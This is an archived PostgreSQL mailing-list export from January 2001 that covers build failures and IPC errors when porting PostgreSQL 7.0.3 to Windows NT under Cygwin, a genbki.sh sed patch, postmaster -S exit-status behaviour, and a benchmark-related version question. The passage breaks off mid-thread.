"msg_contents": "Hi,\nI found the \"Porting PostgreSQL to Windows 2000 installation procedures\", which are a lot more detailed and clear than many other instructions for installing postgreSQL I found on the web, but still I ran into a problem. I followed the instructions step by step, but when I got to \"8. make\", I get the following error:\n\nbash-2.04$ make\nmake -C utils all\nmake[1]: Entering directory `/usr/src/postgresql-7.0.3/src/utils'\nmake[1]: Nothing to be done for `all'.\nmake[1]: Leaving directory `/usr/src/postgresql-7.0.3/src/utils'\nmake -C backend all\nmake[1]: Entering directory `/usr/src/postgresql-7.0.3/src/backend'\nmake -C access all\nmake[2]: Entering directory `/usr/src/postgresql-7.0.3/src/backend/access'\nmake -C common SUBSYS.o\nmake[3]: Entering directory `/usr/src/postgresql-7.0.3/src/backend/access/common'\nmake[3]: `SUBSYS.o' is up to date.\nmake[3]: Leaving directory `/usr/src/postgresql-7.0.3/src/backend/access/common'\nmake -C gist SUBSYS.o\nmake[3]: Entering directory `/usr/src/postgresql-7.0.3/src/backend/access/gist'\nmake[3]: `SUBSYS.o' is up to date.\nmake[3]: Leaving directory `/usr/src/postgresql-7.0.3/src/backend/access/gist'\nmake -C hash SUBSYS.o\nmake[3]: Entering directory `/usr/src/postgresql-7.0.3/src/backend/access/hash'\nmake[3]: `SUBSYS.o' is up to date.\nmake[3]: Leaving directory `/usr/src/postgresql-7.0.3/src/backend/access/hash'\nmake -C heap SUBSYS.o\nmake[3]: Entering directory `/usr/src/postgresql-7.0.3/src/backend/access/heap'\nmake[3]: `SUBSYS.o' is up to date.\nmake[3]: Leaving directory `/usr/src/postgresql-7.0.3/src/backend/access/heap'\nmake -C index SUBSYS.o\nmake[3]: Entering directory `/usr/src/postgresql-7.0.3/src/backend/access/index'\ngcc -I../../../include -I../../../backend -I/usr/local/include -O2 -I/usr/local/inc\nlude -DBUILDING_DLL=1 -Wall -Wmissing-prototypes -Wmissing-declarations -I../.. -c\n -o istrat.o istrat.c\nistrat.c: In function `OperatorRelationFillScanKeyEntry':\nistrat.c:494: `F_OIDEQ' undeclared (first use in this function)\nistrat.c:494: (Each undeclared identifier is reported only once\nistrat.c:494: for each function it appears in.)\nistrat.c: In function `IndexSupportInitialize':\nistrat.c:561: `F_OIDEQ' undeclared (first use in this function)\nmake[3]: *** [istrat.o] Error 1\nmake[3]: Leaving directory `/usr/src/postgresql-7.0.3/src/backend/access/index'\nmake[2]: *** [submake] Error 2\nmake[2]: Leaving directory `/usr/src/postgresql-7.0.3/src/backend/access'\nmake[1]: *** [access.dir] Error 2\nmake[1]: Leaving directory `/usr/src/postgresql-7.0.3/src/backend'\nmake: *** [all] Error 2\nbash-2.04$\n\nMy './configure' worked fine and looked like this:\n\nbash-2.04$ ./configure\nloading cache ./config.cache\nchecking host system type... i686-pc-cygwin\nchecking echo setting...\nchecking setting template to... cygwin32\nchecking whether to support locale... disabled\nchecking whether to support cyrillic recode... disabled\nchecking whether to support multibyte... disabled\nchecking setting DEF_PGPORT... 5432\nchecking setting DEF_MAXBACKENDS... 32\nchecking setting USE_TCL... disabled\nchecking setting USE_PERL... disabled\nchecking setting USE_ODBC... disabled\nchecking setproctitle... disabled\nchecking setting ASSERT CHECKING... disabled\nchecking for gcc... (cached) gcc\nchecking whether the C compiler (gcc -O2 ) works... yes\nchecking whether the C compiler (gcc -O2 ) is a cross-compiler... no\nchecking whether we are using GNU C... (cached) yes\nchecking whether gcc accepts -g... (cached) yes\nchecking how to run the C preprocessor... (cached) gcc -E\nchecking whether gcc needs -traditional... (cached) no\n- setting CPPFLAGS= -I/usr/local/include\n- setting LDFLAGS= -L/usr/local/lib\nchecking setting debug compiler flag... using default\nchecking for c++... (cached) c++\nchecking whether the C++ compiler (c++ -L/usr/local/lib) works... yes\nchecking whether the C++ compiler (c++ -L/usr/local/lib) is a cross-compiler... no\nchecking whether we are using GNU C++... (cached) yes\nchecking whether c++ accepts -g... (cached) yes\nchecking for include <string> in C++... yes\nchecking for namespace std in C++... yes\nchecking for a BSD compatible install... (cached) /usr/bin/install -c\nchecking for flex... (cached) flex\nchecking for yywrap in -lfl... (cached) yes\nchecking whether ln -s works... (cached) yes\nchecking whether make sets ${MAKE}... (cached) yes\nchecking for ranlib... (cached) ranlib\nchecking for find... (cached) /cygdrive/c/WINNT/system32/find\nchecking for tar... (cached) /usr/bin/tar\nchecking for split... (cached) /usr/bin/split\nchecking for etags... (cached) /usr/bin/etags\nchecking for xargs... (cached) /usr/bin/xargs\nchecking for gzcat... (cached) /usr/bin/zcat\nchecking for perl... no\nchecking for bison... (cached) /usr/bin/bison\n- Using /usr/bin/bison -y -d -L /sw/cygwin-b20/share/\nchecking for main in -lsfio... (cached) no\nchecking for main in -lncurses... (cached) yes\nchecking for main in -ltermcap... (cached) yes\nchecking for main in -lreadline... (cached) no\nchecking for using_history in -lreadline... (cached) no\nchecking for main in -lhistory... (cached) no\nchecking for main in -lbsd... (cached) no\nchecking for main in -lutil... (cached) no\nchecking for main in -lm... (cached) yes\nchecking for main in -ldl... (cached) no\nchecking for main in -lsocket... (cached) no\nchecking for main in -lnsl... (cached) no\nchecking for main in -lipc... (cached) no\nchecking for main in -lIPC... (cached) no\nchecking for main in -llc... (cached) no\nchecking for main in -ldld... (cached) no\nchecking for main in -lln... (cached) no\nchecking for main in -lld... (cached) no\nchecking for main in -lcompat... (cached) no\nchecking for main in -lBSD... (cached) no\nchecking for main in -lcrypt... (cached) yes\nchecking for main in -lgen... (cached) no\nchecking for main in -lPW... (cached) no\nchecking for ANSI C header files... (cached) yes\nchecking for sys/wait.h that is POSIX.1 compatible... (cached) yes\nchecking for arpa/inet.h... (cached) yes\nchecking for crypt.h... (cached) yes\nchecking for dld.h... (cached) no\nchecking for endian.h... (cached) yes\nchecking for float.h... (cached) yes\nchecking for fp_class.h... (cached) no\nchecking for getopt.h... (cached) yes\nchecking for history.h... (cached) no\nchecking for ieeefp.h... (cached) yes\nchecking for limits.h... (cached) yes\nchecking for netdb.h... (cached) yes\nchecking for netinet/in.h... (cached) yes\nchecking for readline.h... (cached) no\nchecking for readline/history.h... (cached) no\nchecking for readline/readline.h... (cached) no\nchecking for sys/select.h... (cached) yes\nchecking for termios.h... (cached) yes\nchecking for unistd.h... (cached) yes\nchecking for values.h... (cached) no\nchecking for sys/param.h... (cached) yes\nchecking for pwd.h... (cached) yes\nchecking for working const... (cached) yes\nchecking for inline... (cached) inline\nchecking for preprocessor stringizing operator... (cached) yes\nchecking for uid_t in sys/types.h... (cached) yes\nchecking for mode_t... (cached) yes\nchecking for off_t... (cached) yes\nchecking for size_t... (cached) yes\nchecking whether time.h and sys/time.h may both be included... (cached) yes\nchecking whether struct tm is in sys/time.h or time.h... (cached) time.h\nchecking for tm_zone in struct tm... (cached) no\nchecking for tzname... (cached) no\nchecking for signed types... yes\nchecking for volatile... yes\nchecking for type of last arg to accept... size_t\nchecking for int timezone... no\nchecking for gettimeofday args... 2 args\nchecking for union semun... yes\nchecking for fcntl(F_SETLK)... no\nchecking for 8-bit clean memcmp... (cached) yes\nchecking return type of signal handlers... (cached) void\nchecking for vprintf... (cached) yes\nchecking for memmove... (cached) yes\nchecking for sysconf... (cached) yes\nchecking for sigprocmask... (cached) yes\nchecking for waitpid... (cached) yes\nchecking for setsid... (cached) yes\nchecking for fcvt... (cached) yes\nchecking for fpclass... (cached) no\nchecking for fp_class... (cached) no\nchecking for fp_class_d... (cached) no\nchecking for class... (cached) no\nchecking for snprintf... (cached) yes\nchecking for vsnprintf... (cached) yes\nchecking for isinf... (cached) yes\nchecking for getrusage... (cached) yes\nchecking for srandom... (cached) yes\nchecking for gethostname... (cached) yes\nchecking for random... (cached) yes\nchecking for inet_aton... (cached) yes\nchecking for strerror... (cached) yes\nchecking for strdup... (cached) yes\nchecking for strtol... (cached) yes\nchecking for strtoul... (cached) yes\nchecking for strcasecmp... (cached) yes\nchecking for cbrt... (cached) yes\nchecking for rint... (cached) yes\nchecking for filename_completion_function... (cached) no\nchecking for getopt_long... (cached) yes\nchecking for finite... yes\nchecking for sigsetjmp... yes\nchecking whether 'long int' is 64 bits... no\nchecking whether 'long long int' is 64 bits... yes\nchecking whether snprintf handles 'long long int' as %lld... yes\nchecking alignment of short... (cached) 2\nchecking alignment of int... (cached) 4\nchecking alignment of long... (cached) 4\nchecking alignment of long long int... (cached) 8\nchecking alignment of double... (cached) 8\nchecking for POSIX signal interface... no\nchecking for tclsh... no\nchecking for tcl... no\nconfigure: warning: TCL/TK support disabled; tcl shell is not in your path\nupdating cache ./config.cache\ncreating ./config.status\ncreating GNUmakefile\ncreating Makefile.global\ncreating backend/port/Makefile\ncreating backend/catalog/genbki.sh\ncreating backend/utils/Gen_fmgrtab.sh\ncreating bin/pg_dump/Makefile\ncreating bin/pg_version/Makefile\ncreating bin/pgtclsh/mkMakefile.tcldefs.sh\ncreating bin/pgtclsh/mkMakefile.tkdefs.sh\ncreating bin/psql/Makefile\ncreating include/version.h\ncreating interfaces/libpq/Makefile\ncreating interfaces/ecpg/lib/Makefile\ncreating interfaces/ecpg/preproc/Makefile\ncreating interfaces/libpq++/Makefile\ncreating interfaces/libpgeasy/Makefile\ncreating interfaces/libpgtcl/Makefile\ncreating interfaces/odbc/GNUmakefile\ncreating interfaces/odbc/Makefile.global\ncreating pl/plpgsql/src/Makefile\ncreating pl/plpgsql/src/mklang.sql\ncreating pl/tcl/mkMakefile.tcldefs.sh\ncreating test/regress/GNUmakefile\ncreating include/config.h\ninclude/config.h is unchanged\nlinking ./backend/port/dynloader/win.c to backend/port/dynloader.c\nlinking ./backend/port/dynloader/win.h to include/dynloader.h\nlinking ./include/port/win.h to include/os.h\nlinking ./makefiles/Makefile.win to Makefile.port\nlinking ./backend/port/tas/dummy.s to backend/port/tas.s\nlinking ./include/port to interfaces/odbc/port\nlinking ./makefiles to interfaces/odbc/makefiles\nlinking ./template to interfaces/odbc/template\nlinking ./include/config.h to interfaces/odbc/config.h\nbash-2.04$\n\nCan someone tell me what's wrong?\nAfter running into this problem, I tried to install a binary version for NT, but that did not work either. With the ipc-daemon running, I get\n\nbash-2.04$ ipc-daemon.exe&\n[1] 143\nbash-2.04$ bin/postmaster -i -D data\nCreation de Semaphore \"Sem\" impossible\nIpcSemaphoreCreate: semget failed (Not enough memory) key=5432014, num=16, permission\n=600\nThis type of error is usually caused by an improper\nshared memory or System V IPC semaphore configuration.\nFor more information, see the FAQ and platform-specific\nFAQ's in the source directory pgsql/doc or on our\nweb site at http://www.postgresql.org.\nFATAL 1: InitProcGlobal: IpcSemaphoreCreate failed\nNOTICE: IpcMemoryDetach: shmdt(0x???????): Invalid argument\nNOTICE: IpcMemoryDetach: shmdt(0x???????): Invalid argument\nbash-2.04$\n\nWithout the ipc-daemon running, I get something similar:\n\nbash-2.04$ bin/postmaster -i -D data\nIpcMemoryCreate: shmget failed (Permission denied) key=5432010, size=144, permission=\n700\nThis type of error is usually caused by an improper\nshared memory or System V IPC semaphore configuration.\nFor more information, see the FAQ and platform-specific\nFAQ's in the source directory pgsql/doc or on our\nweb site at http://www.postgresql.org.\nIpcMemoryIdGet: shmget failed (Permission denied) key=5432010, size=144, permission=0\nIpcMemoryAttach: shmat failed (Permission denied) id=-2\nFATAL 1: AttachSLockMemory: could not attach segment\nbash-2.04$\n\nI found both errors on the FAQ at postgreSQL.org , but they only offered remedies for UNIX users, no word about WinNT.\nI'd be real glad to hear from somebody. Thanks in advance.\n\nFelix\nfelix.koenig@web.de\n\n_______________________________________________________________________________\nAlles unter einem Dach: Informationen, Fun, E-Mails. Bei WEB.DE: http://web.de\nDie gro�e Welt der Kommunikation: E-Mail, Fax, SMS, WAP: http://freemail.web.de\n\n",
"msg_date": "Fri, 26 Jan 2001 19:27:24 +0100",
"msg_from": "=?iso-8859-1?Q?\"Felix=20K=F6nig\"?= <felix.koenig@web.de>",
"msg_from_op": true,
"msg_subject": "Trouble porting postgreSQL to WinNT"
},
{
"msg_contents": "=?iso-8859-1?Q?\"Felix=20K=F6nig\"?= <felix.koenig@web.de> writes:\n> gcc -I../../../include -I../../../backend -I/usr/local/include -O2 -I/usr/local/inc\n> lude -DBUILDING_DLL=1 -Wall -Wmissing-prototypes -Wmissing-declarations -I../.. -c\n> -o istrat.o istrat.c\n> istrat.c: In function `OperatorRelationFillScanKeyEntry':\n> istrat.c:494: `F_OIDEQ' undeclared (first use in this function)\n> istrat.c:494: (Each undeclared identifier is reported only once\n> istrat.c:494: for each function it appears in.)\n\nF_OIDEQ (and a lot of other F_xxx macros) should be declared in\nsrc/backend/fmgr.h, which is normally generated during build by\nthe shell script src/backend/utils/Gen_fmgrtab.sh. I speculate\nthat fmgr.h is completely hosed (perhaps empty) due to script\nexecution problems, and that this just happens to be the first\nplace in the compile that references an F_xxx macro.\n\nGen_fmgrtab.sh depends on a shell, awk, sed, and a bunch of other\nstuff, so I wouldn't be too surprised if it fails under Win2000.\nNot sure why Sasha is seeing a problem, though, unless he's trying\nto build under Windows ...\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 27 Jan 2001 01:30:59 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Trouble porting postgreSQL to WinNT "
},
{
"msg_contents": "Is it that \\n in genbki.sh. Please try to apply this patch to\ngenbki.sh.in, re-run configure, and try again. If you want to manually\npatch it, the \\n in the sed script is wrong.\n\n\n> =?iso-8859-1?Q?\"Felix=20K=F6nig\"?= <felix.koenig@web.de> writes:\n> > gcc -I../../../include -I../../../backend -I/usr/local/include -O2 -I/usr/local/inc\n> > lude -DBUILDING_DLL=1 -Wall -Wmissing-prototypes -Wmissing-declarations -I../.. -c\n> > -o istrat.o istrat.c\n> > istrat.c: In function `OperatorRelationFillScanKeyEntry':\n> > istrat.c:494: `F_OIDEQ' undeclared (first use in this function)\n> > istrat.c:494: (Each undeclared identifier is reported only once\n> > istrat.c:494: for each function it appears in.)\n> \n> F_OIDEQ (and a lot of other F_xxx macros) should be declared in\n> src/backend/fmgr.h, which is normally generated during build by\n> the shell script src/backend/utils/Gen_fmgrtab.sh. I speculate\n> that fmgr.h is completely hosed (perhaps empty) due to script\n> execution problems, and that this just happens to be the first\n> place in the compile that references an F_xxx macro.\n> \n> Gen_fmgrtab.sh depends on a shell, awk, sed, and a bunch of other\n> stuff, so I wouldn't be too surprised if it fails under Win2000.\n> Not sure why Sasha is seeing a problem, though, unless he's trying\n> to build under Windows ...\n> \n> \t\t\tregards, tom lane\n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n\nIndex: genbki.sh.in\n===================================================================\nRCS file: /home/projects/pgsql/cvsroot/pgsql/src/backend/catalog/genbki.sh,v\nretrieving revision 1.18\nretrieving revision 1.19\ndiff -c -r1.18 -r1.19\n*** genbki.sh\t2000/10/28 22:14:14\t1.18\n--- genbki.sh\t2001/01/16 22:48:34\t1.19\n***************\n*** 161,170 ****\n ;g' | # we must run a new sed here to see the newlines we added\n sed -e \"s/;[ \t]*$//g\" \\\n -e \"s/^[ \t]*//\" \\\n! -e \"s/[ \t]Oid/\\ oid/g\" \\\n! -e \"s/[ \t]NameData/\\ name/g\" \\\n -e \"s/^Oid/oid/g\" \\\n! -e \"s/^NameData/\\name/g\" \\\n -e \"s/(NameData/(name/g\" \\\n -e \"s/(Oid/(oid/g\" \\\n -e \"s/NAMEDATALEN/$NAMEDATALEN/g\" \\\n--- 161,170 ----\n ;g' | # we must run a new sed here to see the newlines we added\n sed -e \"s/;[ \t]*$//g\" \\\n -e \"s/^[ \t]*//\" \\\n! -e \"s/[ \t]Oid/ oid/g\" \\\n! -e \"s/[ \t]NameData/ name/g\" \\\n -e \"s/^Oid/oid/g\" \\\n! -e \"s/^NameData/name/g\" \\\n -e \"s/(NameData/(name/g\" \\\n -e \"s/(Oid/(oid/g\" \\\n -e \"s/NAMEDATALEN/$NAMEDATALEN/g\" \\",
"msg_date": "Sat, 27 Jan 2001 13:09:09 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Trouble porting postgreSQL to WinNT"
},
{
"msg_contents": "Sasha Pachev <sasha@mysql.com> writes:\n> On Saturday 27 January 2001 11:09, Bruce Momjian wrote:\n>> Is it that \\n in genbki.sh. Please try to apply this patch to\n>> genbki.sh.in, re-run configure, and try again. If you want to manually\n>> patch it, the \\n in the sed script is wrong.\n\n> Thanks - that did the trick - I got it up and running.\n\nThis doesn't make any sense, since genbki.sh has nothing to do with\ncreating the fmgr.h file. I think your rebuild probably cleaned up\nsomething else ... hard to tell what though.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 12:35:13 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Trouble porting postgreSQL to WinNT "
},
{
"msg_contents": "Quoting Tom Lane <tgl@sss.pgh.pa.us>:\n\n> This doesn't make any sense, since genbki.sh has nothing to do with\n> creating the fmgr.h file. I think your rebuild probably cleaned up\n> something else ... hard to tell what though.\n\nOn a similar vein, is anyone seeing initdb hanging under NT? So far everything \ncompiles, but it just hangs (CPU isn't going anything either, so it's not \nlooping etc).\n\nPeter\n\n-- \nPeter Mount peter@retep.org.uk\nPostgreSQL JDBC Driver: http://www.retep.org.uk/postgres/\nRetepPDF PDF library for Java: http://www.retep.org.uk/pdf/\n",
"msg_date": "Tue, 30 Jan 2001 04:15:47 -0500 (EST)",
"msg_from": "Peter T Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: [GENERAL] Trouble porting postgreSQL to WinNT"
},
{
"msg_contents": "Peter,\n\nYes I had the same problem, but for me the reason was that I forgot to\nstart the ipc-daemon before running initdb. Last night I had no\nproblems installing beta4 on WinNT 4.0.\n\nthanks,\n--Barry\n\nPeter T Mount wrote:\n> \n> Quoting Tom Lane <tgl@sss.pgh.pa.us>:\n> \n> > This doesn't make any sense, since genbki.sh has nothing to do with\n> > creating the fmgr.h file. I think your rebuild probably cleaned up\n> > something else ... hard to tell what though.\n> \n> On a similar vein, is anyone seeing initdb hanging under NT? So far everything\n> compiles, but it just hangs (CPU isn't going anything either, so it's not\n> looping etc).\n> \n> Peter\n> \n> --\n> Peter Mount peter@retep.org.uk\n> PostgreSQL JDBC Driver: http://www.retep.org.uk/postgres/\n> RetepPDF PDF library for Java: http://www.retep.org.uk/pdf/\n",
"msg_date": "Tue, 30 Jan 2001 09:41:11 -0800",
"msg_from": "Barry Lind <barry@xythos.com>",
"msg_from_op": false,
"msg_subject": "Re: Re: [GENERAL] Trouble porting postgreSQL to WinNT"
},
{
"msg_contents": "On Tue, Jan 30, 2001 at 09:41:11AM -0800, Barry Lind wrote:\n> Yes I had the same problem, but for me the reason was that I forgot to\n> start the ipc-daemon before running initdb. Last night I had no\n> problems installing beta4 on WinNT 4.0.\n\nAlso, AFAICT, ipc-daemon must be running under the same NT logon as\nthe logon that you're using to run initdb (or postmaster), or else\nyou'll see initdb hang (but use lots of CPU).\n\nThis a major PITA for me, because I went by the book (figuratively)\nand set up the postgres service to run under a 'postgres' NT logon\naccount created for just that purpose. That means I have to run\nipc-daemon logged on as postgres as well. That's not so bad, but now\nwhen I want to run 'make check' to run regression tests I have to\nlogon as postgres to do that as well (since the tests run initdb and\npostmaster). Since Cygwin doesn't have any su/sudo (again, AFAICT)\nthis means logging off my usual development logon, losing all my\npretty windows, and into the postgres login. (Makes me appreciate\nLinux all the more, as if I needed that.)\n\nI don't understand why a single ipc-daemon process can't serve\nprocesses for multiple NT logons at once. Or can it, and I just don't\nhave it set up right?\n\n-- \nFred Yankowski fred@OntoSys.com tel: +1.630.879.1312\nPrincipal Consultant www.OntoSys.com fax: +1.630.879.1370\nOntoSys, Inc 38W242 Deerpath Rd, Batavia, IL 60510, USA\n",
"msg_date": "Tue, 30 Jan 2001 14:07:11 -0600",
"msg_from": "Fred Yankowski <fred@ontosys.com>",
"msg_from_op": false,
"msg_subject": "Re: Re: [GENERAL] Trouble porting postgreSQL to WinNT"
},
{
"msg_contents": "At 14:07 30/01/01 -0600, Fred Yankowski wrote:\n>On Tue, Jan 30, 2001 at 09:41:11AM -0800, Barry Lind wrote:\n> > Yes I had the same problem, but for me the reason was that I forgot to\n> > start the ipc-daemon before running initdb. Last night I had no\n> > problems installing beta4 on WinNT 4.0.\n>\n>Also, AFAICT, ipc-daemon must be running under the same NT logon as\n>the logon that you're using to run initdb (or postmaster), or else\n>you'll see initdb hang (but use lots of CPU).\n\nDoh! That would explain it (although my CPU was idle).\n\nAnyhow, it's now running (my linux box still has problems - won't connect \nto the net - so I'm having to rely on NT to get JDBC sorted). Oh hum.\n\n\n>This a major PITA for me, because I went by the book (figuratively)\n>and set up the postgres service to run under a 'postgres' NT logon\n>account created for just that purpose. That means I have to run\n>ipc-daemon logged on as postgres as well. That's not so bad, but now\n>when I want to run 'make check' to run regression tests I have to\n>logon as postgres to do that as well (since the tests run initdb and\n>postmaster). Since Cygwin doesn't have any su/sudo (again, AFAICT)\n>this means logging off my usual development logon, losing all my\n>pretty windows, and into the postgres login. (Makes me appreciate\n>Linux all the more, as if I needed that.)\n\nI can't wait to get the linux box back up. Even though I like JBuilder for \nthe IDE, I still prefer Linux for the serious backend stuff.\n\n>I don't understand why a single ipc-daemon process can't serve\n>processes for multiple NT logons at once. Or can it, and I just don't\n>have it set up right?\n\nNot sure on that one.\n\nPeter\n\n",
"msg_date": "Tue, 30 Jan 2001 21:33:07 +0000",
"msg_from": "Peter Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: Re: [GENERAL] Trouble porting postgreSQL to WinNT"
}
] |
[
{
"msg_contents": "If a second postmaster is started on a data directory and the second one\nuses the -S option it will not print a message but simply exit and not\nstart a background process. The exit status is 0.\n\nThis seems to have gotten lost in the changes postmaster.c rev. 1.195,\nglobal lock file changes by tgl.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Fri, 26 Jan 2001 20:04:08 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": true,
"msg_subject": "postmaster -S will not print an error if pid file exists"
},
{
"msg_contents": "Peter Eisentraut <peter_e@gmx.net> writes:\n> If a second postmaster is started on a data directory and the second one\n> uses the -S option it will not print a message but simply exit and not\n> start a background process. The exit status is 0.\n\nSince the whole point of -S is to throw away stdout/stderr, I hardly\nsee how you can complain about the fact that the error message went\nto /dev/null. I agree that zero exit status is not good, however;\nwill see if I can fix that.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 16:03:35 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: postmaster -S will not print an error if pid file exists "
},
{
"msg_contents": "Peter Eisentraut <peter_e@gmx.net> writes:\n> If a second postmaster is started on a data directory and the second one\n> uses the -S option it will not print a message but simply exit and not\n> start a background process. The exit status is 0.\n\nOn closer inspection, it's clear that the postmaster *does* exit with\nstatus 1 after failing to lock the lockfile. However, since it's\nalready forked and detached from the terminal, you can't see the status\n1; the parent process exited with status 0. Postponing the fork till\nafter we grab the lockfile will not do, because then the lockfile will\ncontain the wrong postmaster PID.\n\nI have stated before that I consider -S evil. Don't complain too hard\nabout its behavior, or I'll fix it by ripping it out, lock stock and\nbarrel ;-)\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 18:22:59 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: postmaster -S will not print an error if pid file exists "
}
] |
[
{
"msg_contents": "Hello, guys:\n\nI am working on adding Postgre support to our multi-threaded benchmarking \ntool, which currenlty only support MySQL, and was wondering which version of \npg you would recommend that I use for benchmarks, as well as any special \nperformance considerations for pg-sql I need to be aware of while doing tests.\n\nThe most obvious solution - the 7.0.3 source tarball from the downloads \nsection on the website did not work because of undefined F_OIDEQ in istrat.c, \nand I greped and greped around the source trying to find some insights on it. \nMy understanding is that F_OIDEQ is a constant that tells the key reading \ncode how to read a key, or what kind of key it is. Unfortunately, it seems \nlike the file that defines the constant disappeared from the distribution, or \npossibly did not get generated by configure if it was supposed to be \ngenerated. For a while, I thought it could be some mysterious fcntl() option \nI had never heard of, but looking at the code it appears otherwise :-) \n\nAnyway, I would appreciate your feedback.\n\n-- \nMySQL Development Team\n __ ___ ___ ____ __ \n / |/ /_ __/ __/ __ \\/ / Sasha Pachev <sasha@mysql.com>\n / /|_/ / // /\\ \\/ /_/ / /__ MySQL AB, http://www.mysql.com/\n/_/ /_/\\_, /___/\\___\\_\\___/ Provo, Utah, USA\n <___/ \n",
"msg_date": "Fri, 26 Jan 2001 14:51:16 -0700",
"msg_from": "Sasha Pachev <sasha@mysql.com>",
"msg_from_op": true,
"msg_subject": "Which version?"
},
{
"msg_contents": "\nNeed more information ... specifically what OS are you running? I *just*\nbuilt PgSQL 7.0.3 on my freshly installed FreeBSD 4.2-RELEASE box, and it\ncompiled cleanly ...\n\n\nOn Fri, 26 Jan 2001, Sasha Pachev wrote:\n\n> Hello, guys:\n>\n> I am working on adding Postgre support to our multi-threaded benchmarking\n> tool, which currenlty only support MySQL, and was wondering which version of\n> pg you would recommend that I use for benchmarks, as well as any special\n> performance considerations for pg-sql I need to be aware of while doing tests.\n>\n> The most obvious solution - the 7.0.3 source tarball from the downloads\n> section on the website did not work because of undefined F_OIDEQ in istrat.c,\n> and I greped and greped around the source trying to find some insights on it.\n> My understanding is that F_OIDEQ is a constant that tells the key reading\n> code how to read a key, or what kind of key it is. Unfortunately, it seems\n> like the file that defines the constant disappeared from the distribution, or\n> possibly did not get generated by configure if it was supposed to be\n> generated. For a while, I thought it could be some mysterious fcntl() option\n> I had never heard of, but looking at the code it appears otherwise :-)\n>\n> Anyway, I would appreciate your feedback.\n>\n> --\n> MySQL Development Team\n> __ ___ ___ ____ __\n> / |/ /_ __/ __/ __ \\/ / Sasha Pachev <sasha@mysql.com>\n> / /|_/ / // /\\ \\/ /_/ / /__ MySQL AB, http://www.mysql.com/\n> /_/ /_/\\_, /___/\\___\\_\\___/ Provo, Utah, USA\n> <___/\n>\n\nMarc G. Fournier ICQ#7615664 IRC Nick: Scrappy\nSystems Administrator @ hub.org\nprimary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org\n\n",
"msg_date": "Fri, 26 Jan 2001 22:04:51 -0400 (AST)",
"msg_from": "The Hermit Hacker <scrappy@hub.org>",
"msg_from_op": false,
"msg_subject": "Re: Which version?"
},
{
"msg_contents": "On Friday 26 January 2001 19:04, The Hermit Hacker wrote:\n>Need more information ... specifically what OS are you running? I *just*\n>built PgSQL 7.0.3 on my freshly installed FreeBSD 4.2-RELEASE box, and it\n>compiled cleanly ...\n\nThis happened on SuSE 7.0, compiling with gcc 2.95. Maybe I downloaded some \nstale corrupted tarball with a file missing - I went to \n.http://www.pgsql.com/download/ and just clicked on the top \"Download\" \nbutton. Where is F_OIDEQ supposed to be defined anyway?\n\n-- \nMySQL Development Team\n __ ___ ___ ____ __ \n / |/ /_ __/ __/ __ \\/ / Sasha Pachev <sasha@mysql.com>\n / /|_/ / // /\\ \\/ /_/ / /__ MySQL AB, http://www.mysql.com/\n/_/ /_/\\_, /___/\\___\\_\\___/ Provo, Utah, USA\n <___/ \n",
"msg_date": "Fri, 26 Jan 2001 20:21:20 -0700",
"msg_from": "Sasha Pachev <sasha@mysql.com>",
"msg_from_op": true,
"msg_subject": "Re: Which version?"
},
{
"msg_contents": "\nI just checked the md5 signature against the one that is online, and they\nare exactly the same ... what is at the URL you present is *exactly* the\nsame as the one that is on ftp.postgresql.org ...\n\n\n\nOn Fri, 26 Jan 2001, Sasha Pachev wrote:\n\n> On Friday 26 January 2001 19:04, The Hermit Hacker wrote:\n> >Need more information ... specifically what OS are you running? I *just*\n> >built PgSQL 7.0.3 on my freshly installed FreeBSD 4.2-RELEASE box, and it\n> >compiled cleanly ...\n>\n> This happened on SuSE 7.0, compiling with gcc 2.95. Maybe I downloaded some\n> stale corrupted tarball with a file missing - I went to\n> .http://www.pgsql.com/download/ and just clicked on the top \"Download\"\n> button. Where is F_OIDEQ supposed to be defined anyway?\n>\n> --\n> MySQL Development Team\n> __ ___ ___ ____ __\n> / |/ /_ __/ __/ __ \\/ / Sasha Pachev <sasha@mysql.com>\n> / /|_/ / // /\\ \\/ /_/ / /__ MySQL AB, http://www.mysql.com/\n> /_/ /_/\\_, /___/\\___\\_\\___/ Provo, Utah, USA\n> <___/\n>\n\nMarc G. Fournier ICQ#7615664 IRC Nick: Scrappy\nSystems Administrator @ hub.org\nprimary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org\n\n",
"msg_date": "Sat, 27 Jan 2001 03:19:53 -0400 (AST)",
"msg_from": "The Hermit Hacker <scrappy@hub.org>",
"msg_from_op": false,
"msg_subject": "Re: Which version?"
},
{
